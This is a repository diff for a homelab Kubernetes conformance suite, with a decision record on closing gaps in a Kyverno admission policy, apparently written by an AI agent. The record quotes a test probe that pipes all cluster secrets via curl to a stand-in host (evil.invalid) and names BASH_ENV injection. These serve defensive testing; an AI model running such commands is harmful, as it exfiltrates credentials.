         "a PodMonitor, so it resolves against POD ports, not Service ports — the Flux controller "
         "Deployments (and their `http-prom` container port) are installed by the Flux bootstrap "
         "manifests, not authored here. Live on prod: job flux-system/flux-system, 6 targets up.",
+    "platform/oauth2-proxy/podmonitor.yaml:oauth2-proxy-sidecars":
+        "a PodMonitor, so it resolves against POD ports, not Service ports. Unlike the other "
+        "entries here the target is NOT chart-owned — the `metrics` (44180) container port is "
+        "authored in this repo, on the oauth2-proxy sidecar in apps/wave-0/{jackett,qbittorrent,"
+        "pihole}.yaml and apps/wave-1/{radarr,sonarr}.yaml. It is unauditable here because NO "
+        "Service exposes 44180 BY DESIGN: adding one would mean changing catalog/render.py and "
+        "every apps/wave-* render and golden, to publish an endpoint only Prometheus should dial. "
+        "A PodMonitor needs no Service, which is the whole reason it was chosen. What assertion "
+        "(2) would have checked was instead MEASURED on prod 2026-10-01, read-only: the pods "
+        "declare ports [('http', 4180), ('metrics', 44180)], the selector label "
+        "homelab.keithjackson.dev/auth-mode=forward-auth is on exactly those five gate pods, and "
+        "port-forwarding 44180 returns http=200 with 10208 bytes of oauth2_proxy_* metrics. "
+        "CAVEAT, deliberately recorded: those targets are DOWN on prod, because the app "
+        "namespaces' default-deny NetworkPolicy drops the scrape from ns monitoring (same bug and "
+        "fingerprint as platform/longhorn/networkpolicy-metrics.yaml documents). The port name "
+        "resolves; the network path does not yet.",
 }
 
 MONITOR_KINDS = ("ServiceMonitor", "PodMonitor")

conformance/tests/l0-static/tls-lifecycle-automated/check.sh

@@ -42,6 +42,19 @@
 #           whose every solver is an automated challenge type (dns01 / http01) — the
 #           same code path serves issuance AND renewal, so a solver a human must
 #           complete would defeat both;
+#       (5b) the ONE exception to (5) — WORKLOAD mTLS, added 2026-10-29 — is a Certificate
+#           annotated `homelab.keithjackson.dev/tls-scope: workload-mtls`. The spec's TLS
+#           requirements are about EXTERNALLY REACHABLE services (R-TLS-01; docs/08), and
+#           ADR-0006 says outright that "mTLS between workloads is a separate concern … not
+#           covered here". A public ACME CA cannot issue for a `*.svc.cluster.local` name or a
+#           client-auth certificate at all. The annotation is NOT trusted: an exempt
+#           Certificate must PROVE it is workload-internal — its Secret is served by NO Gateway
+#           listener, every DNS name / commonName is cluster-internal (a bare label or
+#           `*.svc[.cluster.local]`), it carries no IP/URI/email SANs, and its issuer is a
+#           NAMESPACED Issuer in its own namespace whose spec is `selfSigned` or a `ca` backed
+#           by a Secret that a tracked, likewise-exempt Certificate produces. Issuance and
+#           renewal stay unattended (cert-manager renews CA-issued certs itself), and (9)
+#           still applies. Every exemption is printed. First user: platform/buildkit.
 #       (6) each dns01 solver's provider credential is referenced BY NAME and that
 #           Secret is delivered SOPS-encrypted from git via a kustomization — the
 #           operator's one-time token hand-off (docs/08 OQ-4), never a per-cert step;
@@ -265,6 +278,7 @@ CERT_SECRETS: dict[tuple[str, str], str] = {           # (namespace, secretName)
     for rel, d in CERTS
 }
 listeners_checked = 0
+GATEWAY_SECRETS: set[tuple[str, str]] = set()          # every (namespace, Secret) a listener serves
 for rel, gw in of_kind("Gateway", "gateway.networking.k8s.io/"):
     gw_ns = ns_of(gw)
     for lis in ((gw.get("spec") or {}).get("listeners") or []):
@@ -280,6 +294,7 @@ for rel, gw in of_kind("Gateway", "gateway.networking.k8s.io/"):
         for r in refs:
             kind = str(r.get("kind", "Secret"))
             key = (str(r.get("namespace") or gw_ns), str(r.get("name")))
+            GATEWAY_SECRETS.add(key)
             check(kind == "Secret",
                   f"{rel}: listener {lis.get('name')!r} certificateRef kind is {kind!r}; only "
                   "Secret refs can be traced to a cert-manager Certificate")
@@ -324,8 +339,61 @@ CM_NS = ns_of(cm_releases[0][1], "cert-manager") if cm_releases else "cert-manag
 ISSUER_INDEX = {(d.get("kind"), name_of(d)): (rel, d) for rel, d in ISSUERS}
 solver_creds: list[tuple[str, str, str, str]] = []     # (issuer, ns, secretName, ref field)
 issuers_verified: set[str] = set()
+
+# (5b) workload-mTLS exemption — see the header. Proven, never taken on trust.
+SCOPE_ANN = "homelab.keithjackson.dev/tls-scope"
+INTERNAL_NAME = re.compile(r"^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$")
+NS_ISSUERS = {(ns_of(d), name_of(d)): (rel, d) for rel, d in of_kind("Issuer", "cert-manager.io/")}
+EXEMPT_SECRETS = {(ns_of(d), str((d.get("spec") or {}).get("secretName", "")))
+                  for _, d in CERTS
+                  if ((d.get("metadata") or {}).get("annotations") or {}).get(SCOPE_ANN) == "workload-mtls"}
+exempted: list[str] = []
+
+def workload_mtls_ok(rel: str, cert: dict) -> bool:
+    """True if `cert` claims the workload-mTLS scope AND proves it; records failures."""
+    ann = ((cert.get("metadata") or {}).get("annotations") or {}).get(SCOPE_ANN)
+    if ann is None:
+        return False
+    cns, cname = ns_of(cert), name_of(cert)
+    spec = cert.get("spec") or {}
+    ok = True
+    def need(cond, msg):
+        nonlocal ok
+        check(cond, f"{rel}: Certificate {cns}/{cname} claims {SCOPE_ANN}={ann!r} but {msg}")
+        ok = ok and bool(cond)
+    need(ann == "workload-mtls", "the only accepted value is 'workload-mtls'")
+    need((cns, str(spec.get("secretName", ""))) not in GATEWAY_SECRETS,
+         "its Secret is served by a Gateway listener — that is external TLS, which must be ACME (R-TLS-01)")
+    names = [str(n) for n in (spec.get("dnsNames") or [])]
+    if spec.get("commonName"):
+        names.append(str(spec["commonName"]))
+    for n in names:
+        internal = INTERNAL_NAME.match(n) and ("." not in n or n.endswith(".svc") or n.endswith(".svc.cluster.local"))
+        need(bool(internal), f"name {n!r} is not cluster-internal (bare label or *.svc[.cluster.local])")
+    for f in ("ipAddresses", "uris", "emailAddresses"):
+        need(not spec.get(f), f"it carries {f}, which a workload-internal certificate has no use for")
+    ref = spec.get("issuerRef") or {}
+    need(str(ref.get("kind", "Issuer")) == "Issuer",
+         "its issuer is not a NAMESPACED Issuer — a ClusterIssuer could sign for any namespace")
+    hit = NS_ISSUERS.get((cns, str(ref.get("name", ""))))
+    need(hit is not None, f"its Issuer {ref.get('name')!r} is not tracked in namespace {cns!r}")
+    if hit is not None:
+        ispec = hit[1].get("spec") or {}
+        kinds = sorted(ispec)
+        need(kinds in (["selfSigned"], ["ca"]),
+             f"its Issuer is {kinds} — only selfSigned or ca are accepted for workload mTLS")
+        if kinds == ["ca"]:
+            need((cns, str((ispec.get("ca") or {}).get("secretName", ""))) in EXEMPT_SECRETS,
+                 "its CA Issuer's Secret is not produced by a tracked workload-mtls Certificate "
+                 "in the same namespace — the CA itself would have to be minted by hand")
+    if ok:
+        exempted.append(f"{cns}/{cname}")
+    return ok
+
 for rel, cert in CERTS:
     spec = cert.get("spec") or {}
+    if workload_mtls_ok(rel, cert):
+        continue          # (5b): proven workload-internal; (9) below still applies
     ref = spec.get("issuerRef") or {}
     kind = str(ref.get("kind", "Issuer"))
     per_env = resolve_per_env(str(ref.get("name", "")))
@@ -379,6 +447,8 @@ for rel, cert in CERTS:
                             solver_creds.append((iname, want_ns, n, f"{provider}.{field}"))
 
 check(len(issuers_verified) > 0, "no issuer was reachable from any Certificate — (5) proved nothing")
+if exempted:
+    print(f"  (5b) workload-mTLS certificates exempted from ACME after proving it: {', '.join(exempted)}")
 
 # (6) the solver credential is delivered, SOPS-encrypted, from git — never per-cert by hand.
 check(len(solver_creds) > 0,

conformance/tests/l1-rendering/container-workload-render/golden/expected.yaml

@@ -62,7 +62,7 @@ spec:
         ports:
         - containerPort: 8080
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -76,11 +76,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://paas-demo.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_paas-demo
+        - --cookie-domain=paas-demo.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -101,6 +104,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -165,6 +171,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): paas-demo-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: paas-demo-allow-monitoring-scrape
+  namespace: paas-demo
+  labels:
+    app.kubernetes.io/name: paas-demo
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: paas-demo
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): paas-demo-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

conformance/tests/l1-rendering/egress-class-render/golden/egress-internet.expected.yaml

@@ -85,7 +85,7 @@ spec:
         - name: config
           mountPath: /data/config
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -192,6 +198,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): sonarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-monitoring-scrape
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): sonarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

conformance/tests/l1-rendering/egress-class-render/golden/egress-vpn.expected.yaml

@@ -85,7 +85,7 @@ spec:
         - name: config
           mountPath: /data/config
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -192,6 +198,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): sonarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-monitoring-scrape
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): sonarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

conformance/tests/l2-behavioral/dns-exposure/chainsaw-test.yaml

@@ -64,6 +64,12 @@ spec:
                 annotations:
                   # conformance-dns.<this cluster's BASE_DOMAIN> — never a literal apex.
                   external-dns.alpha.kubernetes.io/hostname: (join('.', ['conformance-dns', $baseDomain]))
+                  # DNS-ONLY (2026-11-08). external-dns runs with --cloudflare-proxied globally (the
+                  # gateway names point at the Cloudflare Tunnel). Without this opt-out the probe
+                  # record is orange-clouded, 1.1.1.1 answers Cloudflare anycast instead of the LB IP,
+                  # and the exact-IP poll below can never match. Same opt-out every real
+                  # `service`-source publisher carries (unifi, crafty-mc).
+                  external-dns.alpha.kubernetes.io/cloudflare-proxied: "false"
               spec:
                 type: LoadBalancer
                 # No real backend needed — Cilium LB-IPAM assigns a VIP regardless, and

conformance/versions.env

@@ -40,32 +40,29 @@ PYTHON_MIN="3.9"
 #   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
 # Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
 CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
-# Build handle only. Admission never sees the tag; a Job must reference the digest.
+# Local build handle only. Admission never sees the tag; a Job must reference the digest.
+# CI publishes under `sha-<commit>` and `main` instead (.gitea/workflows/images.yaml).
 CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
 #
 # ############################################################################
-# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# # THE DIGEST IS WRITTEN BY RENOVATE, NOT BY HAND.                          #
 # ############################################################################
-# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
-# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
-# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
-# pushing needs a registry credential, and publishing the artifact a fail-closed security
-# boundary then trusts is an OPERATOR action, not an agent's.
+# CI builds and verifies the image (non-root uid 65532, read-only rootfs, the
+# conformance-clone refusals) and, on a push to main, publishes it and prints the digest the
+# REGISTRY returned (.gitea/workflows/images.yaml). Renovate follows the image's `main` tag
+# through the marker below and opens the pull request that moves this value. Nobody pushes
+# this image from a workstation, and nobody pastes a digest here.
 #
-# OPERATOR, to complete the pin:
-#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
-#   2. podman login gitea.home.keithjackson.dev
-#   3. podman push --digestfile /tmp/conformance-runner.digest \
-#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
-#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
-#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
-#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
-#
-# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
-# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
-# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
-CONFORMANCE_RUNNER_IMAGE_DIGEST=""
-CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+# ALL-ZERO UNTIL THE FIRST PUBLISH. Before 2026-10-29 this was EMPTY, so that a consumer
+# rendering the Job would fail visibly. It is now the same impossible all-zero digest
+# platform/pm-agent/ uses, because Renovate can only replace a digest that is there to match.
+# A consumer MUST treat the all-zero value as "not published" (no consumer exists yet: the
+# L2/L3 trigger is unwired, docs/plans/l2-l3-conformance-ci-wiring.md). Note also that
+# chainsaw-job.yaml's @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ takes the 64 hex digits WITHOUT the
+# `sha256:` prefix this value carries — the trigger must strip it.
+# renovate-digest: image=gitea.home.keithjackson.dev/home-network/conformance-runner tag=main
+CONFORMANCE_RUNNER_IMAGE_DIGEST="sha256:63e1aa74289a8b77ef5cd2ec4e4d01e7fef638f965f2057329bc1991d3074f0d"
+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}"
 #
 # AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
 # its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
